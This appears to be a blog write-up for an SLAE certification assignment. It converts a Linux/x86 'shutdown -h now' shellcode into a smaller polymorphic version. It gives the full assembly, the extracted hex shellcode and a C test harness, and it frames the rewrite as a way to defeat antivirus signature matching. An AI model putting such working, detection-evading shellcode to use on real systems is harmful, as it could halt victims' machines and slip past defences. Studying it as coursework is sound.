Student ID: SLAE-1250
Assignment Six: Polymorphic Conversion of Shellcode Part Three - shutdown -h now
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/index.html
All code can be found in: https://github.com/securitychops/security-tube-slae32
All work was tested on a 32bit version of Ubuntu 12.10
TLDR; - JMP short Final_Breakdown
Part three of assignment six of the SLAE has us performing our final polymorphic transformation on the Linux/x86 shellcode taken from shell-storm.org:
Linux/x86 - shutdown -h now - 56 bytes
Just like in the previous two assignments the very first thing we should do is start by analyzing the shell/assembly code that we will need to perform our polymorphic transformation on:
global _start
section .text
_start:
xor eax,eax ; zero out eax
xor edx,edx ; zero out edx
push eax ; push null terminator to stack
push word 0x682d ; push '-h' to stack
mov edi,esp ; move '-h' to edi
push eax ; push null terminator to stack
push 0x6e ; push 'n'
mov word [esp+0x1],0x776f ; edit memory in stack at offset 1
; accounting for 'n' and insert
; 'wo' which will complete 'now'
; this was done to avoid getting a 0x00
; if we pushed a dword for all of now
; at one time with 0x776f6e since the
; last logical byte on the string is 00
mov edi,esp ; move won (now) to edi
push eax ; push null terminator to stack
push 0x6e776f64 ; push 'nwod' to stack
push 0x74756873 ; push 'tuhs' to stack
push 0x2f2f2f6e ; push '///n' to stack
push 0x6962732f ; push 'ibs/' to stack
; which is '/sbin///shutdown'
mov ebx,esp ; move '/sbin///shutdown' to ebx
push edx ; push null terminator to stack
push esi ; push null terminator to stack
push edi ; push '-h now' to the stack
push ebx ; push '/sbin///shutdown' to stack
mov ecx,esp ; move {'/sbin///shutdown', -h, now} to ecx
mov al,0xb ; set eax to 0x0B (execve)
int 0x80 ; execute execve
I have gone ahead and added a few notes in the assembly code that was produced above to hopefully make it more clear as to what is happening!
Just like we did in previous two examples we again referenced /usr/include/i386-linux-gnu/asm/unistd_32.h and were able to find out that the first function that we are going to be calling is:
#define __NR_execve 11
which in C is:
int execve(const char *filename, char *const argv[], char *const envp[]);
If it is unclear why we would be calling the execve function in this way please refer to the first blog post in this series as it goes into an extremely detailed explanation of who/what/why/how this is being done: Assignment One: Creating Shellcode to Bind a Shell Over TCP
The shellcode size we end up with is only 56 bytes, which means that in order to be within an acceptable range of no larger than 150% of the size of the original shellcode we can’t end up any larger than 84 bytes for our shellcode!
Below is the polymorphic version of the shellcode that I put together, it is again not too crazy and only has a few differences! Even better is this shellcode ends up only being 55 bytes, which means we managed to generate polymorphic shellcode that is exactly one byte smaller than our original shellcode!
; Student ID : SLAE-1250
; Student Name : Jonathan "Chops" Crosby
; Assignment 6.3 : polymorphic shutdown -h now for Linux/x86 Assembly
; File Name : shutdown.nasm
; Shell Storm : http://shell-storm.org/shellcode/files/shellcode-876.php
global _start
section .text
_start:
xor ecx, ecx ; zero out ecx
mul ecx ; zero out edx, eax
push eax ; push null terminator to stack
push word 0x682d ; push '-h' to stack
mov edi, esp ; move '-h' to edi
push 0x6e ; push 'n'
mov word [esp+0x1],0x776f ; edit memory in stack at offset 1
; accounting for 'n' and insert
; 'wo' which will complete 'now'
; this was done to avoid getting a 0x00
; if we pushed a dword for all of now
; at one time with 0x776f6e since the
; last logical byte on the string is 00
mov edi,esp ; move won (now -h) to edi
push edx ; push null terminator to stack
push 0x6e776f64 ; push 'nwod' to stack
push 0x74756873 ; push 'tuhs' to stack
push 0x2f2f2f6e ; push '///n' to stack
push 0x6962732f ; push 'ibs/' to stack
; which is '/sbin///shutdown'
mov ebx,esp ; move '/sbin///shutdown' to ebx
push eax ; push null terminator to stack
push edi ; push '-h, now' to the stack
push ebx ; push '/sbin///shutdown' to stack
mov ecx,esp ; move {'/sbin///shutdown', -h, now} to ecx
add eax, 0xb ; eax is already 0x00 so we add 0xb to it
int 0x80 ; execute execve
The main takeaway from this block of code was the usage of the mul instruction again in order to clear out ebx and edx with one instruction as well as the add eax, 0xb instruction to increase eax from 0x00 to 0x0B! There is once again nothing earth shattering going on here, but I still think it drives an important point home that changing even a handful of instructions is enough to throw off signature matching!
Just like in the first few lessons of the SLAE we again leveraged our helper compile.sh script in order to assemble our shellcode into a linked elf binary as such:
./compile.sh shutdown
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
Once we had the assembled binary (and tested that it worked correctly) we again were able to extract the shellcode through the same command line fu as from the earlier lessons:
objdump -d ./shutdown|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
commandlinefu - shellcode from objdump
Which produces the following 55 bytes of shellcode!
"\x31\xc9\xf7\xe1\x50\x66\x68\x2d\x68\x89\xe7\x6a\x6e\x66\xc7\x44\x24\x01\x6f\x77\x89\xe7\x52\x68\x64\x6f\x77\x6e\x68\x73\x68\x75\x74\x68\x6e\x2f\x2f\x2f\x68\x2f\x73\x62\x69\x89\xe3\x50\x57\x53\x89\xe1\x83\xc0\x0b\xcd\x80"
At this point we are now able to replace the shellcode in our helper C program as such:
// Student ID : SLAE-1250
// Student Name : Jonathan "Chops" Crosby
// Assignment 6.3 : Shell Code Test File
// File Name : shutdown.c
#include<stdio.h>
#include<string.h>
//compile with: gcc shutdown.c -o shutdown -fno-stack-protector -z execstack
unsigned char code[] = \
"\x31\xc9\xf7\xe1\x50\x66\x68\x2d\x68\x89\xe7\x6a\x6e\x66\xc7\x44\x24\x01\x6f\x77\x89\xe7\x52\x68\x64\x6f\x77\x6e\x68\x73\x68\x75\x74\x68\x6e\x2f\x2f\x2f\x68\x2f\x73\x62\x69\x89\xe3\x50\x57\x53\x89\xe1\x83\xc0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
And then we are able to compile our final binary and execute the shellcode as though it were being injected into the memory of a victim process
gcc shutdown.c -o shutdown -fno-stack-protector -z execstack
Animated gif of the complete compilation and running of our polymorphic shellcode!
Please ignore my typing of the root password wrong two times, it was a long day!
The previous two assignments we had added screenshots for the virus total findings, however for these two scans there were no findings at all. I have gone ahead and included links to the scans for completeness, but zero findings turning into zero findings is still a win!
Original shellcode VirusTotal Findings
Our shellcode VirusTotal Findings
Final_Breakdown:
Below are the contents of the final code needed to generate the polymorphic obfuscated shellcode inspired by the shellcode found at: Linux/x86 - shutdown -h now - 56 bytes.
Assembly Code
; Student ID : SLAE-1250
; Student Name : Jonathan "Chops" Crosby
; Assignment 6.3 : polymorphic shutdown -h now for Linux/x86 Assembly
; File Name : shutdown.nasm
; Shell Storm : http://shell-storm.org/shellcode/files/shellcode-876.php
global _start
section .text
_start:
xor ecx, ecx ; zero out ecx
mul ecx ; zero out edx, eax
push eax ; push null terminator to stack
push word 0x682d ; push '-h' to stack
mov edi, esp ; move '-h' to edi
push 0x6e ; push 'n'
mov word [esp+0x1],0x776f ; edit memory in stack at offset 1
; accounting for 'n' and insert
; 'wo' which will complete 'now'
; this was done to avoid getting a 0x00
; if we pushed a dword for all of now
; at one time with 0x776f6e since the
; last logical byte on the string is 00
mov edi,esp ; move won (now -h) to edi
push edx ; push null terminator to stack
push 0x6e776f64 ; push 'nwod' to stack
push 0x74756873 ; push 'tuhs' to stack
push 0x2f2f2f6e ; push '///n' to stack
push 0x6962732f ; push 'ibs/' to stack
; which is '/sbin///shutdown'
mov ebx,esp ; move '/sbin///shutdown' to ebx
push eax ; push null terminator to stack
push edi ; push '-h, now' to the stack
push ebx ; push '/sbin///shutdown' to stack
mov ecx,esp ; move {'/sbin///shutdown', -h, now} to ecx
add eax, 0xb ; eax is already 0x00 so we add 0xb to it
int 0x80 ; execute execve
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-6/shutdown.nasm
Helper Compile Bash Script
./compile.sh shutdown
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-6/compile.sh
Final C Program To Execute Shellcode
// Student ID : SLAE-1250
// Student Name : Jonathan "Chops" Crosby
// Assignment 6.3 : Shell Code Test File
// File Name : shutdown.c
#include<stdio.h>
#include<string.h>
//compile with: gcc shutdown.c -o shutdown -fno-stack-protector -z execstack
unsigned char code[] = \
"\x31\xc9\xf7\xe1\x50\x66\x68\x2d\x68\x89\xe7\x6a\x6e\x66\xc7\x44\x24\x01\x6f\x77\x89\xe7\x52\x68\x64\x6f\x77\x6e\x68\x73\x68\x75\x74\x68\x6e\x2f\x2f\x2f\x68\x2f\x73\x62\x69\x89\xe3\x50\x57\x53\x89\xe1\x83\xc0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}